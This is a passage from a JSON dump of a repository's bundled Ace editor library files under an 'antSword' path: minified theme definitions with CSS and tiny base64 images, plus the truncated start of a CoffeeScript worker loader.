url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYLBWV/8PAAK4AYnhiq+xAAAAAElFTkSuQmCC) right repeat-y;}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-textmate.js",
    "content": "ace.define(\"ace/theme/textmate\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";t.isDark=!1,t.cssClass=\"ace-tm\",t.cssText='.ace-tm .ace_gutter {background: #f0f0f0;color: #333;}.ace-tm .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-tm .ace_fold {background-color: #6B72E6;}.ace-tm {background-color: #FFFFFF;color: black;}.ace-tm .ace_cursor {color: black;}.ace-tm .ace_invisible {color: rgb(191, 191, 191);}.ace-tm .ace_storage,.ace-tm .ace_keyword {color: blue;}.ace-tm .ace_constant {color: rgb(197, 6, 11);}.ace-tm .ace_constant.ace_buildin {color: rgb(88, 72, 246);}.ace-tm .ace_constant.ace_language {color: rgb(88, 92, 246);}.ace-tm .ace_constant.ace_library {color: rgb(6, 150, 14);}.ace-tm .ace_invalid {background-color: rgba(255, 0, 0, 0.1);color: red;}.ace-tm .ace_support.ace_function {color: rgb(60, 76, 114);}.ace-tm .ace_support.ace_constant {color: rgb(6, 150, 14);}.ace-tm .ace_support.ace_type,.ace-tm .ace_support.ace_class {color: rgb(109, 121, 222);}.ace-tm .ace_keyword.ace_operator {color: rgb(104, 118, 135);}.ace-tm .ace_string {color: rgb(3, 106, 7);}.ace-tm .ace_comment {color: rgb(76, 136, 107);}.ace-tm .ace_comment.ace_doc {color: rgb(0, 102, 255);}.ace-tm .ace_comment.ace_doc.ace_tag {color: rgb(128, 159, 191);}.ace-tm .ace_constant.ace_numeric {color: rgb(0, 0, 205);}.ace-tm .ace_variable {color: rgb(49, 132, 149);}.ace-tm .ace_xml-pe {color: rgb(104, 104, 91);}.ace-tm .ace_entity.ace_name.ace_function {color: #0000A2;}.ace-tm .ace_heading {color: rgb(12, 7, 255);}.ace-tm .ace_list {color:rgb(185, 6, 144);}.ace-tm .ace_meta.ace_tag {color:rgb(0, 22, 142);}.ace-tm .ace_string.ace_regex {color: rgb(255, 0, 0)}.ace-tm .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-tm.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px white;}.ace-tm .ace_marker-layer .ace_step {background: rgb(252, 255, 0);}.ace-tm .ace_marker-layer .ace_stack {background: rgb(164, 229, 101);}.ace-tm .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-tm .ace_marker-layer .ace_active-line {background: rgba(0, 0, 0, 0.07);}.ace-tm .ace_gutter-active-line {background-color : #dcdcdc;}.ace-tm .ace_marker-layer .ace_selected-word {background: rgb(250, 250, 255);border: 1px solid rgb(200, 200, 250);}.ace-tm .ace_indent-guide {background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;}';var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-tomorrow.js",
    "content": "ace.define(\"ace/theme/tomorrow\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-tomorrow\",t.cssText=\".ace-tomorrow .ace_gutter {background: #f6f6f6;color: #4D4D4C}.ace-tomorrow .ace_print-margin {width: 1px;background: #f6f6f6}.ace-tomorrow {background-color: #FFFFFF;color: #4D4D4C}.ace-tomorrow .ace_cursor {color: #AEAFAD}.ace-tomorrow .ace_marker-layer .ace_selection {background: #D6D6D6}.ace-tomorrow.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #FFFFFF;}.ace-tomorrow .ace_marker-layer .ace_step {background: rgb(255, 255, 0)}.ace-tomorrow .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #D1D1D1}.ace-tomorrow .ace_marker-layer .ace_active-line {background: #EFEFEF}.ace-tomorrow .ace_gutter-active-line {background-color : #dcdcdc}.ace-tomorrow .ace_marker-layer .ace_selected-word {border: 1px solid #D6D6D6}.ace-tomorrow .ace_invisible {color: #D1D1D1}.ace-tomorrow .ace_keyword,.ace-tomorrow .ace_meta,.ace-tomorrow .ace_storage,.ace-tomorrow .ace_storage.ace_type,.ace-tomorrow .ace_support.ace_type {color: #8959A8}.ace-tomorrow .ace_keyword.ace_operator {color: #3E999F}.ace-tomorrow .ace_constant.ace_character,.ace-tomorrow .ace_constant.ace_language,.ace-tomorrow .ace_constant.ace_numeric,.ace-tomorrow .ace_keyword.ace_other.ace_unit,.ace-tomorrow .ace_support.ace_constant,.ace-tomorrow .ace_variable.ace_parameter {color: #F5871F}.ace-tomorrow .ace_constant.ace_other {color: #666969}.ace-tomorrow .ace_invalid {color: #FFFFFF;background-color: #C82829}.ace-tomorrow .ace_invalid.ace_deprecated {color: #FFFFFF;background-color: #8959A8}.ace-tomorrow .ace_fold {background-color: #4271AE;border-color: #4D4D4C}.ace-tomorrow .ace_entity.ace_name.ace_function,.ace-tomorrow .ace_support.ace_function,.ace-tomorrow .ace_variable {color: #4271AE}.ace-tomorrow .ace_support.ace_class,.ace-tomorrow .ace_support.ace_type {color: #C99E00}.ace-tomorrow .ace_heading,.ace-tomorrow .ace_markup.ace_heading,.ace-tomorrow .ace_string {color: #718C00}.ace-tomorrow .ace_entity.ace_name.ace_tag,.ace-tomorrow .ace_entity.ace_other.ace_attribute-name,.ace-tomorrow .ace_meta.ace_tag,.ace-tomorrow .ace_string.ace_regexp,.ace-tomorrow .ace_variable {color: #C82829}.ace-tomorrow .ace_comment {color: #8E908C}.ace-tomorrow .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bdu3f/BwAlfgctduB85QAAAABJRU5ErkJggg==) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-tomorrow_night.js",
    "content": "ace.define(\"ace/theme/tomorrow_night\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-tomorrow-night\",t.cssText=\".ace-tomorrow-night .ace_gutter {background: #25282c;color: #C5C8C6}.ace-tomorrow-night .ace_print-margin {width: 1px;background: #25282c}.ace-tomorrow-night {background-color: #1D1F21;color: #C5C8C6}.ace-tomorrow-night .ace_cursor {color: #AEAFAD}.ace-tomorrow-night .ace_marker-layer .ace_selection {background: #373B41}.ace-tomorrow-night.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #1D1F21;}.ace-tomorrow-night .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-tomorrow-night .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #4B4E55}.ace-tomorrow-night .ace_marker-layer .ace_active-line {background: #282A2E}.ace-tomorrow-night .ace_gutter-active-line {background-color: #282A2E}.ace-tomorrow-night .ace_marker-layer .ace_selected-word {border: 1px solid #373B41}.ace-tomorrow-night .ace_invisible {color: #4B4E55}.ace-tomorrow-night .ace_keyword,.ace-tomorrow-night .ace_meta,.ace-tomorrow-night .ace_storage,.ace-tomorrow-night .ace_storage.ace_type,.ace-tomorrow-night .ace_support.ace_type {color: #B294BB}.ace-tomorrow-night .ace_keyword.ace_operator {color: #8ABEB7}.ace-tomorrow-night .ace_constant.ace_character,.ace-tomorrow-night .ace_constant.ace_language,.ace-tomorrow-night .ace_constant.ace_numeric,.ace-tomorrow-night .ace_keyword.ace_other.ace_unit,.ace-tomorrow-night .ace_support.ace_constant,.ace-tomorrow-night .ace_variable.ace_parameter {color: #DE935F}.ace-tomorrow-night .ace_constant.ace_other {color: #CED1CF}.ace-tomorrow-night .ace_invalid {color: #CED2CF;background-color: #DF5F5F}.ace-tomorrow-night .ace_invalid.ace_deprecated {color: #CED2CF;background-color: #B798BF}.ace-tomorrow-night .ace_fold {background-color: #81A2BE;border-color: #C5C8C6}.ace-tomorrow-night .ace_entity.ace_name.ace_function,.ace-tomorrow-night .ace_support.ace_function,.ace-tomorrow-night .ace_variable {color: #81A2BE}.ace-tomorrow-night .ace_support.ace_class,.ace-tomorrow-night .ace_support.ace_type {color: #F0C674}.ace-tomorrow-night .ace_heading,.ace-tomorrow-night .ace_markup.ace_heading,.ace-tomorrow-night .ace_string {color: #B5BD68}.ace-tomorrow-night .ace_entity.ace_name.ace_tag,.ace-tomorrow-night .ace_entity.ace_other.ace_attribute-name,.ace-tomorrow-night .ace_meta.ace_tag,.ace-tomorrow-night .ace_string.ace_regexp,.ace-tomorrow-night .ace_variable {color: #CC6666}.ace-tomorrow-night .ace_comment {color: #969896}.ace-tomorrow-night .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYHB3d/8PAAOIAdULw8qMAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-tomorrow_night_blue.js",
    "content": "ace.define(\"ace/theme/tomorrow_night_blue\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-tomorrow-night-blue\",t.cssText=\".ace-tomorrow-night-blue .ace_gutter {background: #00204b;color: #7388b5}.ace-tomorrow-night-blue .ace_print-margin {width: 1px;background: #00204b}.ace-tomorrow-night-blue {background-color: #002451;color: #FFFFFF}.ace-tomorrow-night-blue .ace_constant.ace_other,.ace-tomorrow-night-blue .ace_cursor {color: #FFFFFF}.ace-tomorrow-night-blue .ace_marker-layer .ace_selection {background: #003F8E}.ace-tomorrow-night-blue.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #002451;}.ace-tomorrow-night-blue .ace_marker-layer .ace_step {background: rgb(127, 111, 19)}.ace-tomorrow-night-blue .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #404F7D}.ace-tomorrow-night-blue .ace_marker-layer .ace_active-line {background: #00346E}.ace-tomorrow-night-blue .ace_gutter-active-line {background-color: #022040}.ace-tomorrow-night-blue .ace_marker-layer .ace_selected-word {border: 1px solid #003F8E}.ace-tomorrow-night-blue .ace_invisible {color: #404F7D}.ace-tomorrow-night-blue .ace_keyword,.ace-tomorrow-night-blue .ace_meta,.ace-tomorrow-night-blue .ace_storage,.ace-tomorrow-night-blue .ace_storage.ace_type,.ace-tomorrow-night-blue .ace_support.ace_type {color: #EBBBFF}.ace-tomorrow-night-blue .ace_keyword.ace_operator {color: #99FFFF}.ace-tomorrow-night-blue .ace_constant.ace_character,.ace-tomorrow-night-blue .ace_constant.ace_language,.ace-tomorrow-night-blue .ace_constant.ace_numeric,.ace-tomorrow-night-blue .ace_keyword.ace_other.ace_unit,.ace-tomorrow-night-blue .ace_support.ace_constant,.ace-tomorrow-night-blue .ace_variable.ace_parameter {color: #FFC58F}.ace-tomorrow-night-blue .ace_invalid {color: #FFFFFF;background-color: #F99DA5}.ace-tomorrow-night-blue .ace_invalid.ace_deprecated {color: #FFFFFF;background-color: #EBBBFF}.ace-tomorrow-night-blue .ace_fold {background-color: #BBDAFF;border-color: #FFFFFF}.ace-tomorrow-night-blue .ace_entity.ace_name.ace_function,.ace-tomorrow-night-blue .ace_support.ace_function,.ace-tomorrow-night-blue .ace_variable {color: #BBDAFF}.ace-tomorrow-night-blue .ace_support.ace_class,.ace-tomorrow-night-blue .ace_support.ace_type {color: #FFEEAD}.ace-tomorrow-night-blue .ace_heading,.ace-tomorrow-night-blue .ace_markup.ace_heading,.ace-tomorrow-night-blue .ace_string {color: #D1F1A9}.ace-tomorrow-night-blue .ace_entity.ace_name.ace_tag,.ace-tomorrow-night-blue .ace_entity.ace_other.ace_attribute-name,.ace-tomorrow-night-blue .ace_meta.ace_tag,.ace-tomorrow-night-blue .ace_string.ace_regexp,.ace-tomorrow-night-blue .ace_variable {color: #FF9DA4}.ace-tomorrow-night-blue .ace_comment {color: #7285B7}.ace-tomorrow-night-blue .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYJDzqfwPAANXAeNsiA+ZAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-tomorrow_night_bright.js",
    "content": "ace.define(\"ace/theme/tomorrow_night_bright\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-tomorrow-night-bright\",t.cssText=\".ace-tomorrow-night-bright .ace_gutter {background: #1a1a1a;color: #DEDEDE}.ace-tomorrow-night-bright .ace_print-margin {width: 1px;background: #1a1a1a}.ace-tomorrow-night-bright {background-color: #000000;color: #DEDEDE}.ace-tomorrow-night-bright .ace_cursor {color: #9F9F9F}.ace-tomorrow-night-bright .ace_marker-layer .ace_selection {background: #424242}.ace-tomorrow-night-bright.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #000000;}.ace-tomorrow-night-bright .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-tomorrow-night-bright .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #888888}.ace-tomorrow-night-bright .ace_marker-layer .ace_highlight {border: 1px solid rgb(110, 119, 0);border-bottom: 0;box-shadow: inset 0 -1px rgb(110, 119, 0);margin: -1px 0 0 -1px;background: rgba(255, 235, 0, 0.1)}.ace-tomorrow-night-bright .ace_marker-layer .ace_active-line {background: #2A2A2A}.ace-tomorrow-night-bright .ace_gutter-active-line {background-color: #2A2A2A}.ace-tomorrow-night-bright .ace_stack {background-color: rgb(66, 90, 44)}.ace-tomorrow-night-bright .ace_marker-layer .ace_selected-word {border: 1px solid #888888}.ace-tomorrow-night-bright .ace_invisible {color: #343434}.ace-tomorrow-night-bright .ace_keyword,.ace-tomorrow-night-bright .ace_meta,.ace-tomorrow-night-bright .ace_storage,.ace-tomorrow-night-bright .ace_storage.ace_type,.ace-tomorrow-night-bright .ace_support.ace_type {color: #C397D8}.ace-tomorrow-night-bright .ace_keyword.ace_operator {color: #70C0B1}.ace-tomorrow-night-bright .ace_constant.ace_character,.ace-tomorrow-night-bright .ace_constant.ace_language,.ace-tomorrow-night-bright .ace_constant.ace_numeric,.ace-tomorrow-night-bright .ace_keyword.ace_other.ace_unit,.ace-tomorrow-night-bright .ace_support.ace_constant,.ace-tomorrow-night-bright .ace_variable.ace_parameter {color: #E78C45}.ace-tomorrow-night-bright .ace_constant.ace_other {color: #EEEEEE}.ace-tomorrow-night-bright .ace_invalid {color: #CED2CF;background-color: #DF5F5F}.ace-tomorrow-night-bright .ace_invalid.ace_deprecated {color: #CED2CF;background-color: #B798BF}.ace-tomorrow-night-bright .ace_fold {background-color: #7AA6DA;border-color: #DEDEDE}.ace-tomorrow-night-bright .ace_entity.ace_name.ace_function,.ace-tomorrow-night-bright .ace_support.ace_function,.ace-tomorrow-night-bright .ace_variable {color: #7AA6DA}.ace-tomorrow-night-bright .ace_support.ace_class,.ace-tomorrow-night-bright .ace_support.ace_type {color: #E7C547}.ace-tomorrow-night-bright .ace_heading,.ace-tomorrow-night-bright .ace_markup.ace_heading,.ace-tomorrow-night-bright .ace_string {color: #B9CA4A}.ace-tomorrow-night-bright .ace_entity.ace_name.ace_tag,.ace-tomorrow-night-bright .ace_entity.ace_other.ace_attribute-name,.ace-tomorrow-night-bright .ace_meta.ace_tag,.ace-tomorrow-night-bright .ace_string.ace_regexp,.ace-tomorrow-night-bright .ace_variable {color: #D54E53}.ace-tomorrow-night-bright .ace_comment {color: #969896}.ace-tomorrow-night-bright .ace_c9searchresults.ace_keyword {color: #C2C280}.ace-tomorrow-night-bright .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYFBXV/8PAAJoAXX4kT2EAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-tomorrow_night_eighties.js",
    "content": "ace.define(\"ace/theme/tomorrow_night_eighties\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-tomorrow-night-eighties\",t.cssText=\".ace-tomorrow-night-eighties .ace_gutter {background: #272727;color: #CCC}.ace-tomorrow-night-eighties .ace_print-margin {width: 1px;background: #272727}.ace-tomorrow-night-eighties {background-color: #2D2D2D;color: #CCCCCC}.ace-tomorrow-night-eighties .ace_constant.ace_other,.ace-tomorrow-night-eighties .ace_cursor {color: #CCCCCC}.ace-tomorrow-night-eighties .ace_marker-layer .ace_selection {background: #515151}.ace-tomorrow-night-eighties.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #2D2D2D;}.ace-tomorrow-night-eighties .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-tomorrow-night-eighties .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #6A6A6A}.ace-tomorrow-night-bright .ace_stack {background: rgb(66, 90, 44)}.ace-tomorrow-night-eighties .ace_marker-layer .ace_active-line {background: #393939}.ace-tomorrow-night-eighties .ace_gutter-active-line {background-color: #393939}.ace-tomorrow-night-eighties .ace_marker-layer .ace_selected-word {border: 1px solid #515151}.ace-tomorrow-night-eighties .ace_invisible {color: #6A6A6A}.ace-tomorrow-night-eighties .ace_keyword,.ace-tomorrow-night-eighties .ace_meta,.ace-tomorrow-night-eighties .ace_storage,.ace-tomorrow-night-eighties .ace_storage.ace_type,.ace-tomorrow-night-eighties .ace_support.ace_type {color: #CC99CC}.ace-tomorrow-night-eighties .ace_keyword.ace_operator {color: #66CCCC}.ace-tomorrow-night-eighties .ace_constant.ace_character,.ace-tomorrow-night-eighties .ace_constant.ace_language,.ace-tomorrow-night-eighties .ace_constant.ace_numeric,.ace-tomorrow-night-eighties .ace_keyword.ace_other.ace_unit,.ace-tomorrow-night-eighties .ace_support.ace_constant,.ace-tomorrow-night-eighties .ace_variable.ace_parameter {color: #F99157}.ace-tomorrow-night-eighties .ace_invalid {color: #CDCDCD;background-color: #F2777A}.ace-tomorrow-night-eighties .ace_invalid.ace_deprecated {color: #CDCDCD;background-color: #CC99CC}.ace-tomorrow-night-eighties .ace_fold {background-color: #6699CC;border-color: #CCCCCC}.ace-tomorrow-night-eighties .ace_entity.ace_name.ace_function,.ace-tomorrow-night-eighties .ace_support.ace_function,.ace-tomorrow-night-eighties .ace_variable {color: #6699CC}.ace-tomorrow-night-eighties .ace_support.ace_class,.ace-tomorrow-night-eighties .ace_support.ace_type {color: #FFCC66}.ace-tomorrow-night-eighties .ace_heading,.ace-tomorrow-night-eighties .ace_markup.ace_heading,.ace-tomorrow-night-eighties .ace_string {color: #99CC99}.ace-tomorrow-night-eighties .ace_comment {color: #999999}.ace-tomorrow-night-eighties .ace_entity.ace_name.ace_tag,.ace-tomorrow-night-eighties .ace_entity.ace_other.ace_attribute-name,.ace-tomorrow-night-eighties .ace_meta.ace_tag,.ace-tomorrow-night-eighties .ace_variable {color: #F2777A}.ace-tomorrow-night-eighties .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWPQ09NrYAgMjP4PAAtGAwchHMyAAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-twilight.js",
    "content": "ace.define(\"ace/theme/twilight\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-twilight\",t.cssText=\".ace-twilight .ace_gutter {background: #232323;color: #E2E2E2}.ace-twilight .ace_print-margin {width: 1px;background: #232323}.ace-twilight {background-color: #141414;color: #F8F8F8}.ace-twilight .ace_cursor {color: #A7A7A7}.ace-twilight .ace_marker-layer .ace_selection {background: rgba(221, 240, 255, 0.20)}.ace-twilight.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #141414;}.ace-twilight .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-twilight .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(255, 255, 255, 0.25)}.ace-twilight .ace_marker-layer .ace_active-line {background: rgba(255, 255, 255, 0.031)}.ace-twilight .ace_gutter-active-line {background-color: rgba(255, 255, 255, 0.031)}.ace-twilight .ace_marker-layer .ace_selected-word {border: 1px solid rgba(221, 240, 255, 0.20)}.ace-twilight .ace_invisible {color: rgba(255, 255, 255, 0.25)}.ace-twilight .ace_keyword,.ace-twilight .ace_meta {color: #CDA869}.ace-twilight .ace_constant,.ace-twilight .ace_constant.ace_character,.ace-twilight .ace_constant.ace_character.ace_escape,.ace-twilight .ace_constant.ace_other,.ace-twilight .ace_heading,.ace-twilight .ace_markup.ace_heading,.ace-twilight .ace_support.ace_constant {color: #CF6A4C}.ace-twilight .ace_invalid.ace_illegal {color: #F8F8F8;background-color: rgba(86, 45, 86, 0.75)}.ace-twilight .ace_invalid.ace_deprecated {text-decoration: underline;font-style: italic;color: #D2A8A1}.ace-twilight .ace_support {color: #9B859D}.ace-twilight .ace_fold {background-color: #AC885B;border-color: #F8F8F8}.ace-twilight .ace_support.ace_function {color: #DAD085}.ace-twilight .ace_list,.ace-twilight .ace_markup.ace_list,.ace-twilight .ace_storage {color: #F9EE98}.ace-twilight .ace_entity.ace_name.ace_function,.ace-twilight .ace_meta.ace_tag,.ace-twilight .ace_variable {color: #AC885B}.ace-twilight .ace_string {color: #8F9D6A}.ace-twilight .ace_string.ace_regexp {color: #E9C062}.ace-twilight .ace_comment {font-style: italic;color: #5F5A60}.ace-twilight .ace_variable {color: #7587A6}.ace-twilight .ace_xml-pe {color: #494949}.ace-twilight .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWMQERFpYLC1tf0PAAgOAnPnhxyiAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-vibrant_ink.js",
    "content": "ace.define(\"ace/theme/vibrant_ink\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-vibrant-ink\",t.cssText=\".ace-vibrant-ink .ace_gutter {background: #1a1a1a;color: #BEBEBE}.ace-vibrant-ink .ace_print-margin {width: 1px;background: #1a1a1a}.ace-vibrant-ink {background-color: #0F0F0F;color: #FFFFFF}.ace-vibrant-ink .ace_cursor {color: #FFFFFF}.ace-vibrant-ink .ace_marker-layer .ace_selection {background: #6699CC}.ace-vibrant-ink.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #0F0F0F;}.ace-vibrant-ink .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-vibrant-ink .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #404040}.ace-vibrant-ink .ace_marker-layer .ace_active-line {background: #333333}.ace-vibrant-ink .ace_gutter-active-line {background-color: #333333}.ace-vibrant-ink .ace_marker-layer .ace_selected-word {border: 1px solid #6699CC}.ace-vibrant-ink .ace_invisible {color: #404040}.ace-vibrant-ink .ace_keyword,.ace-vibrant-ink .ace_meta {color: #FF6600}.ace-vibrant-ink .ace_constant,.ace-vibrant-ink .ace_constant.ace_character,.ace-vibrant-ink .ace_constant.ace_character.ace_escape,.ace-vibrant-ink .ace_constant.ace_other {color: #339999}.ace-vibrant-ink .ace_constant.ace_numeric {color: #99CC99}.ace-vibrant-ink .ace_invalid,.ace-vibrant-ink .ace_invalid.ace_deprecated {color: #CCFF33;background-color: #000000}.ace-vibrant-ink .ace_fold {background-color: #FFCC00;border-color: #FFFFFF}.ace-vibrant-ink .ace_entity.ace_name.ace_function,.ace-vibrant-ink .ace_support.ace_function,.ace-vibrant-ink .ace_variable {color: #FFCC00}.ace-vibrant-ink .ace_variable.ace_parameter {font-style: italic}.ace-vibrant-ink .ace_string {color: #66FF00}.ace-vibrant-ink .ace_string.ace_regexp {color: #44B4CC}.ace-vibrant-ink .ace_comment {color: #9933CC}.ace-vibrant-ink .ace_entity.ace_other.ace_attribute-name {font-style: italic;color: #99CC99}.ace-vibrant-ink .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYNDTc/oPAALPAZ7hxlbYAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-xcode.js",
    "content": "ace.define(\"ace/theme/xcode\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-xcode\",t.cssText=\".ace-xcode .ace_gutter {background: #e8e8e8;color: #333}.ace-xcode .ace_print-margin {width: 1px;background: #e8e8e8}.ace-xcode {background-color: #FFFFFF;color: #000000}.ace-xcode .ace_cursor {color: #000000}.ace-xcode .ace_marker-layer .ace_selection {background: #B5D5FF}.ace-xcode.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #FFFFFF;}.ace-xcode .ace_marker-layer .ace_step {background: rgb(198, 219, 174)}.ace-xcode .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #BFBFBF}.ace-xcode .ace_marker-layer .ace_active-line {background: rgba(0, 0, 0, 0.071)}.ace-xcode .ace_gutter-active-line {background-color: rgba(0, 0, 0, 0.071)}.ace-xcode .ace_marker-layer .ace_selected-word {border: 1px solid #B5D5FF}.ace-xcode .ace_constant.ace_language,.ace-xcode .ace_keyword,.ace-xcode .ace_meta,.ace-xcode .ace_variable.ace_language {color: #C800A4}.ace-xcode .ace_invisible {color: #BFBFBF}.ace-xcode .ace_constant.ace_character,.ace-xcode .ace_constant.ace_other {color: #275A5E}.ace-xcode .ace_constant.ace_numeric {color: #3A00DC}.ace-xcode .ace_entity.ace_other.ace_attribute-name,.ace-xcode .ace_support.ace_constant,.ace-xcode .ace_support.ace_function {color: #450084}.ace-xcode .ace_fold {background-color: #C800A4;border-color: #000000}.ace-xcode .ace_entity.ace_name.ace_tag,.ace-xcode .ace_support.ace_class,.ace-xcode .ace_support.ace_type {color: #790EAD}.ace-xcode .ace_storage {color: #C900A4}.ace-xcode .ace_string {color: #DF0002}.ace-xcode .ace_comment {color: #008E00}.ace-xcode .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/worker-coffee.js",
    "content": "\"no use strict\";(function(e){function t(e,t){var n=e,r=\"\";while(n){var i=t[n];if(typeof i==\"string\")return i+r;if(i)return i.location.replace(/\\/*$/,\"/\")+(r||i.main||i.name);if(i===!1)return\"\";var s=n.lastIndexOf(\"/\");if(s===-1)break;r=n.substr(s)+r,n=n.slice(0,s)}return e}if(typeof e.window!=\"undefined\"&&e.document)return;if(e.require&&e.define)return;e.console=function(){var e=Array.prototype.slice.call(arguments,0);postMessage({type:\"log\",data:e})},e.console.error=e.console.warn=e.console.log=e.console.trace=e.console,e.window=e,e.ace=e,e.onerror=function(e,t,n,r,i){postMessage({type:\"error\",data:{message:e,data:i.data,file:t,line:n,col:r,stack:i.stack}})},e.normalizeModule=function(t,n){if(n.indexOf(\"!\")!==-1){var r=n.split(\"!\");return e.normalizeModule(t,r[0])+\"!\"+e.normalizeModule(t,r[1])}if(n.charAt(0)==\".\"){var i=t.split(\"/\").slice(0,-1).join(\"/\");n=(i?i+\"/\":\"\")+n;while(n.indexOf(\".\")!==-1&&s!=n){var s=n;n=n.replace(/^\\.\\//,\"\").replace(/\\/\\.\\//,\"/\").replace(/[^\\/]+\\/\\.\\.\\//,\"\")}}return n},e.require=function(r,i){i||(i=r,r=null);if(!i.charAt)throw new Error(\"worker.js require() accepts only (parentId, id) as arguments\");i=e.normalizeModule(r,i);var s=e.require.modules[i];if(s)return s.initialized||(s.initialized=!0,s.exports=s.factory().exports),s.exports;if(!e.require.tlns)return console.log(\"unable to load \"+i);var o=t(i,e.require.tlns);return o.slice(-3)!=\".js\"&&(o+=\".js\"),e.require.id=i,e.require.modules[i]={},importScripts(o),e.require(r,i)},e.require.modules={},e.require.tlns={},e.define=function(t,n,r){arguments.length==2?(r=n,typeof t!=\"string\"&&(n=t,t=e.require.id)):arguments.length==1&&(r=t,n=[],t=e.require.id);if(typeof r!=\"function\"){e.require.modules[t]={exports:r,initialized:!0};return}n.length||(n=[\"require\",\"exports\",\"module\"]);var i=function(n){return 